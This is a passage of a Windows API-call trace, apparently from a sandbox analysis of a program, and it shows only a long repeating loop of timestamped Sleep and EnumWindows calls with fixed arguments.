[0193.219] Sleep (dwMilliseconds=0x64) [0193.221] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.222] Sleep (dwMilliseconds=0x64) [0193.224] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.224] Sleep (dwMilliseconds=0x64) [0193.226] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.227] Sleep (dwMilliseconds=0x64) [0193.228] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.229] Sleep (dwMilliseconds=0x64) [0193.234] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.235] Sleep (dwMilliseconds=0x64) [0193.239] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.239] Sleep (dwMilliseconds=0x64) [0193.240] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.241] Sleep (dwMilliseconds=0x64) [0193.242] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.243] Sleep (dwMilliseconds=0x64) [0193.244] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.245] Sleep (dwMilliseconds=0x64) [0193.249] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.249] Sleep (dwMilliseconds=0x64) [0193.322] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.323] Sleep (dwMilliseconds=0x64) [0193.358] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.360] Sleep (dwMilliseconds=0x64) [0193.364] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.365] Sleep (dwMilliseconds=0x64) [0193.367] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.367] Sleep (dwMilliseconds=0x64) [0193.370] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.370] Sleep (dwMilliseconds=0x64) [0193.371] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.372] Sleep (dwMilliseconds=0x64) [0193.373] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.374] Sleep (dwMilliseconds=0x64) [0193.376] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.376] Sleep (dwMilliseconds=0x64) [0193.379] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.380] Sleep (dwMilliseconds=0x64) [0193.382] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.382] Sleep (dwMilliseconds=0x64) [0193.384] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.385] Sleep (dwMilliseconds=0x64) [0193.386] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.387] Sleep (dwMilliseconds=0x64) [0193.444] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.444] Sleep (dwMilliseconds=0x64) [0193.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.496] Sleep (dwMilliseconds=0x64) [0193.499] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.500] Sleep (dwMilliseconds=0x64) [0193.501] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.502] Sleep (dwMilliseconds=0x64) [0193.504] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.504] Sleep (dwMilliseconds=0x64) [0193.505] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.506] Sleep (dwMilliseconds=0x64) [0193.507] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.508] Sleep (dwMilliseconds=0x64) [0193.510] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.510] Sleep (dwMilliseconds=0x64) [0193.511] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.512] Sleep (dwMilliseconds=0x64) [0193.513] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.514] Sleep (dwMilliseconds=0x64) [0193.516] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.516] Sleep (dwMilliseconds=0x64) [0193.517] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.518] Sleep (dwMilliseconds=0x64) [0193.580] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.661] Sleep (dwMilliseconds=0x64) [0193.663] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.663] Sleep (dwMilliseconds=0x64) [0193.665] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.665] Sleep (dwMilliseconds=0x64) [0193.667] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.667] Sleep (dwMilliseconds=0x64) [0193.677] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.677] Sleep (dwMilliseconds=0x64) [0193.679] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.680] Sleep (dwMilliseconds=0x64) [0193.681] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.682] Sleep (dwMilliseconds=0x64) [0193.683] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.684] Sleep (dwMilliseconds=0x64) [0193.716] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.717] Sleep (dwMilliseconds=0x64) [0193.719] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.720] Sleep (dwMilliseconds=0x64) [0193.721] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.722] Sleep (dwMilliseconds=0x64) [0193.724] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.724] Sleep (dwMilliseconds=0x64) [0193.726] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.726] Sleep (dwMilliseconds=0x64) [0193.727] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.728] Sleep (dwMilliseconds=0x64) [0193.729] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.730] Sleep (dwMilliseconds=0x64) [0193.731] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.731] Sleep (dwMilliseconds=0x64) [0193.735] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.735] Sleep (dwMilliseconds=0x64) [0193.738] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.738] Sleep (dwMilliseconds=0x64) [0193.740] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.740] Sleep (dwMilliseconds=0x64) [0193.741] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.742] Sleep (dwMilliseconds=0x64) [0193.743] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.744] Sleep (dwMilliseconds=0x64) [0193.745] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.746] Sleep (dwMilliseconds=0x64) [0193.747] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.747] Sleep (dwMilliseconds=0x64) [0193.749] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.749] Sleep (dwMilliseconds=0x64) [0193.750] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.751] Sleep (dwMilliseconds=0x64) [0193.752] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.752] Sleep (dwMilliseconds=0x64) [0193.754] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.754] Sleep (dwMilliseconds=0x64) [0193.756] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.756] Sleep (dwMilliseconds=0x64) [0193.758] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.758] Sleep (dwMilliseconds=0x64) [0193.760] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.760] Sleep (dwMilliseconds=0x64) [0193.761] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.762] Sleep (dwMilliseconds=0x64) [0193.763] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.764] Sleep (dwMilliseconds=0x64) [0193.765] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.766] Sleep (dwMilliseconds=0x64) [0193.768] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.768] Sleep (dwMilliseconds=0x64) [0193.770] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.770] Sleep (dwMilliseconds=0x64) [0193.772] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.772] Sleep (dwMilliseconds=0x64) [0193.774] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.774] Sleep (dwMilliseconds=0x64) [0193.775] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.776] Sleep (dwMilliseconds=0x64) [0193.780] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.781] Sleep (dwMilliseconds=0x64) [0193.782] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.783] Sleep (dwMilliseconds=0x64) [0193.784] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.785] Sleep (dwMilliseconds=0x64) [0193.786] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.787] Sleep (dwMilliseconds=0x64) [0193.788] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.789] Sleep (dwMilliseconds=0x64) [0193.790] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.791] Sleep (dwMilliseconds=0x64) [0193.792] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.793] Sleep (dwMilliseconds=0x64) [0193.794] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.795] Sleep (dwMilliseconds=0x64) [0193.796] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.797] Sleep (dwMilliseconds=0x64) [0193.798] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.799] Sleep (dwMilliseconds=0x64) [0193.800] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.801] Sleep (dwMilliseconds=0x64) [0193.802] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.802] Sleep (dwMilliseconds=0x64) [0193.804] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.805] Sleep (dwMilliseconds=0x64) [0193.806] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.806] Sleep (dwMilliseconds=0x64) [0193.808] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.808] Sleep (dwMilliseconds=0x64) [0193.810] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.810] Sleep (dwMilliseconds=0x64) [0193.812] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.812] Sleep (dwMilliseconds=0x64) [0193.814] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.815] Sleep (dwMilliseconds=0x64) [0193.816] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.956] Sleep (dwMilliseconds=0x64) [0193.958] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.959] Sleep (dwMilliseconds=0x64) [0193.960] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.961] Sleep (dwMilliseconds=0x64) [0193.963] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.963] Sleep (dwMilliseconds=0x64) [0193.965] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.965] Sleep (dwMilliseconds=0x64) [0193.967] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.967] Sleep (dwMilliseconds=0x64) [0193.969] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.969] Sleep (dwMilliseconds=0x64) [0193.971] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.972] Sleep (dwMilliseconds=0x64) [0193.973] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.974] Sleep (dwMilliseconds=0x64) [0193.975] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.976] Sleep (dwMilliseconds=0x64) [0193.977] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.978] Sleep (dwMilliseconds=0x64) [0193.979] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.980] Sleep (dwMilliseconds=0x64) [0193.983] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.983] Sleep (dwMilliseconds=0x64) [0193.985] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.985] Sleep (dwMilliseconds=0x64) [0193.987] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.987] Sleep (dwMilliseconds=0x64) [0193.989] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.989] Sleep (dwMilliseconds=0x64) [0193.991] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.991] Sleep (dwMilliseconds=0x64) [0193.993] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.994] Sleep (dwMilliseconds=0x64) [0193.995] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.995] Sleep (dwMilliseconds=0x64) [0193.997] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0193.998] Sleep (dwMilliseconds=0x64) [0194.001] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.002] Sleep (dwMilliseconds=0x64) [0194.004] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.004] Sleep (dwMilliseconds=0x64) [0194.006] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.006] Sleep (dwMilliseconds=0x64) [0194.008] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.008] Sleep (dwMilliseconds=0x64) [0194.011] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.011] Sleep (dwMilliseconds=0x64) [0194.012] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.013] Sleep (dwMilliseconds=0x64) [0194.014] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.015] Sleep (dwMilliseconds=0x64) [0194.016] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.017] Sleep (dwMilliseconds=0x64) [0194.019] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.019] Sleep (dwMilliseconds=0x64) [0194.021] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.021] Sleep (dwMilliseconds=0x64) [0194.023] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.023] Sleep (dwMilliseconds=0x64) [0194.025] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.025] Sleep (dwMilliseconds=0x64) [0194.027] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.027] Sleep (dwMilliseconds=0x64) [0194.029] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.029] Sleep (dwMilliseconds=0x64) [0194.031] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.031] Sleep (dwMilliseconds=0x64) [0194.033] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.033] Sleep (dwMilliseconds=0x64) [0194.035] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.035] Sleep (dwMilliseconds=0x64) [0194.037] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.037] Sleep (dwMilliseconds=0x64) [0194.039] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.039] Sleep (dwMilliseconds=0x64) [0194.041] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.041] Sleep (dwMilliseconds=0x64) [0194.043] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.043] Sleep (dwMilliseconds=0x64) [0194.045] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.045] Sleep (dwMilliseconds=0x64) [0194.047] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.047] Sleep (dwMilliseconds=0x64) [0194.049] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.049] Sleep (dwMilliseconds=0x64) [0194.051] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.051] Sleep (dwMilliseconds=0x64) [0194.053] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.053] Sleep (dwMilliseconds=0x64) [0194.055] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.055] Sleep (dwMilliseconds=0x64) [0194.057] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.057] Sleep (dwMilliseconds=0x64) [0194.060] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.061] Sleep (dwMilliseconds=0x64) [0194.062] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.062] Sleep (dwMilliseconds=0x64) [0194.065] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.065] Sleep (dwMilliseconds=0x64) [0194.066] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.067] Sleep (dwMilliseconds=0x64) [0194.068] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.069] Sleep (dwMilliseconds=0x64) [0194.070] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.071] Sleep (dwMilliseconds=0x64) [0194.073] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.073] Sleep (dwMilliseconds=0x64) [0194.074] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.075] Sleep (dwMilliseconds=0x64) [0194.076] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.077] Sleep (dwMilliseconds=0x64) [0194.079] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.079] Sleep (dwMilliseconds=0x64) [0194.080] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.081] Sleep (dwMilliseconds=0x64) [0194.083] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.083] Sleep (dwMilliseconds=0x64) [0194.085] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.085] Sleep (dwMilliseconds=0x64) [0194.087] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.087] Sleep (dwMilliseconds=0x64) [0194.089] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.089] Sleep (dwMilliseconds=0x64) [0194.091] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.091] Sleep (dwMilliseconds=0x64) [0194.093] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.093] Sleep (dwMilliseconds=0x64) [0194.095] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.095] Sleep (dwMilliseconds=0x64) [0194.097] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.097] Sleep (dwMilliseconds=0x64) [0194.099] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.099] Sleep (dwMilliseconds=0x64) [0194.101] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.101] Sleep (dwMilliseconds=0x64) [0194.102] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.103] Sleep (dwMilliseconds=0x64) [0194.105] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.106] Sleep (dwMilliseconds=0x64) [0194.108] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.108] Sleep (dwMilliseconds=0x64) [0194.109] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.110] Sleep (dwMilliseconds=0x64) [0194.112] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.112] Sleep (dwMilliseconds=0x64) [0194.114] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.114] Sleep (dwMilliseconds=0x64) [0194.116] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.116] Sleep (dwMilliseconds=0x64) [0194.117] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.118] Sleep (dwMilliseconds=0x64) [0194.120] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.120] Sleep (dwMilliseconds=0x64) [0194.121] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.122] Sleep (dwMilliseconds=0x64) [0194.124] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.124] Sleep (dwMilliseconds=0x64) [0194.126] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.126] Sleep (dwMilliseconds=0x64) [0194.127] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.128] Sleep (dwMilliseconds=0x64) [0194.130] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.131] Sleep (dwMilliseconds=0x64) [0194.132] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.133] Sleep (dwMilliseconds=0x64) [0194.135] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.135] Sleep (dwMilliseconds=0x64) [0194.136] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.137] Sleep (dwMilliseconds=0x64) [0194.139] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.139] Sleep (dwMilliseconds=0x64) [0194.140] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.141] Sleep (dwMilliseconds=0x64) [0194.143] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.143] Sleep (dwMilliseconds=0x64) [0194.144] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.145] Sleep (dwMilliseconds=0x64) [0194.146] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.147] Sleep (dwMilliseconds=0x64) [0194.148] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.149] Sleep (dwMilliseconds=0x64) [0194.150] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.151] Sleep (dwMilliseconds=0x64) [0194.152] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.153] Sleep (dwMilliseconds=0x64) [0194.156] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.156] Sleep (dwMilliseconds=0x64) [0194.158] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.158] Sleep (dwMilliseconds=0x64) [0194.160] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.160] Sleep (dwMilliseconds=0x64) [0194.162] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.162] Sleep (dwMilliseconds=0x64) [0194.164] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.164] Sleep (dwMilliseconds=0x64) [0194.166] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.167] Sleep (dwMilliseconds=0x64) [0194.168] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.168] Sleep (dwMilliseconds=0x64) [0194.170] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.170] Sleep (dwMilliseconds=0x64) [0194.172] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.173] Sleep (dwMilliseconds=0x64) [0194.174] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.174] Sleep (dwMilliseconds=0x64) [0194.176] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.176] Sleep (dwMilliseconds=0x64) [0194.178] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.178] Sleep (dwMilliseconds=0x64) [0194.180] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.181] Sleep (dwMilliseconds=0x64) [0194.182] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.182] Sleep (dwMilliseconds=0x64) [0194.184] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.184] Sleep (dwMilliseconds=0x64) [0194.270] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.271] Sleep (dwMilliseconds=0x64) [0194.272] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.273] Sleep (dwMilliseconds=0x64) [0194.275] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.275] Sleep (dwMilliseconds=0x64) [0194.277] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.277] Sleep (dwMilliseconds=0x64) [0194.279] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.279] Sleep (dwMilliseconds=0x64) [0194.281] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.281] Sleep (dwMilliseconds=0x64) [0194.283] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.283] Sleep (dwMilliseconds=0x64) [0194.285] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.285] Sleep (dwMilliseconds=0x64) [0194.522] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.523] Sleep (dwMilliseconds=0x64) [0194.525] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.525] Sleep (dwMilliseconds=0x64) [0194.527] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.527] Sleep (dwMilliseconds=0x64) [0194.529] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.529] Sleep (dwMilliseconds=0x64) [0194.579] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.580] Sleep (dwMilliseconds=0x64) [0194.587] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.588] Sleep (dwMilliseconds=0x64) [0194.676] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.676] Sleep (dwMilliseconds=0x64) [0194.700] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.701] Sleep (dwMilliseconds=0x64) [0194.702] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.703] Sleep (dwMilliseconds=0x64) [0194.705] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.705] Sleep (dwMilliseconds=0x64) [0194.706] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.707] Sleep (dwMilliseconds=0x64) [0194.708] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.709] Sleep (dwMilliseconds=0x64) [0194.711] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.711] Sleep (dwMilliseconds=0x64) [0194.714] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.714] Sleep (dwMilliseconds=0x64) [0194.740] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.741] Sleep (dwMilliseconds=0x64) [0194.809] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0194.809] Sleep (dwMilliseconds=0x64) [0194.821] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0195.574] Sleep (dwMilliseconds=0x64) [0195.649] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0195.650] Sleep (dwMilliseconds=0x64) [0195.652] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0195.652] Sleep (dwMilliseconds=0x64) [0195.654] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0195.654] Sleep (dwMilliseconds=0x64) [0195.656] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0195.657] Sleep (dwMilliseconds=0x64) [0195.658] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0195.658] Sleep (dwMilliseconds=0x64) [0195.660] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0195.660] Sleep (dwMilliseconds=0x64) [0195.662] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0195.662] Sleep (dwMilliseconds=0x64) [0195.664] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0195.664] Sleep (dwMilliseconds=0x64) [0195.667] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0195.667] Sleep (dwMilliseconds=0x64) [0195.669] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0195.669] Sleep (dwMilliseconds=0x64) [0195.670] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0195.671] Sleep (dwMilliseconds=0x64) [0195.674] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0195.675] Sleep (dwMilliseconds=0x64) [0195.714] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0195.715] Sleep (dwMilliseconds=0x64) [0195.737] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) 